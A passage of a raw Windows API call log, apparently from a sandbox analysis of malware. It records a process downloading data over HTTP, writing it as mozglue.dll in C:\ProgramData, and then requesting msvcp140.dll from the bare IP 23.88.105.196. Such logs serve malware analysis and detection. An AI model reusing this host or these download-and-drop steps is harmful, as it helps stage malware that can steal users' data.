1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.863] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33603e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33603e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33607d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33607d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361770*, lpdwNumberOfBytesRead=0x19f5f0*=0xa8) returned 1 [0139.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361818*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0139.872] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0139.872] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0139.872] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0139.872] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0139.872] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0139.873] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.873] CreateFileA (lpFileName="C:\\ProgramData\\\\mozglue.dll" (normalized: "c:\\programdata\\mozglue.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0139.873] WriteFile (in: hFile=0x28, lpBuffer=0x3340048*, nNumberOfBytesToWrite=0x217d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3340048*, lpNumberOfBytesWritten=0x19f7cc*=0x217d0, lpOverlapped=0x0) returned 1 [0139.879] CloseHandle (hObject=0x28) returned 1 [0139.883] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.883] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.883] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0139.883] GetLastError () returned 0x0 [0139.883] SetLastError (dwErrCode=0x0) [0139.883] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0139.883] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0139.883] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0139.883] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/msvcp140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0139.883] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0139.884] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0139.884] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0139.884] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0139.884] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0139.884] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0139.884] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0139.920] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33413d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33413d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33417b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33417b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33436f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33436f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33442b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33442b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33461f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33461f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33465d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33465d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33469c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33469c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3346da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3346da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33490d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33490d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33494b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33494b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33498a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33498a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3349c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3349c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350218, 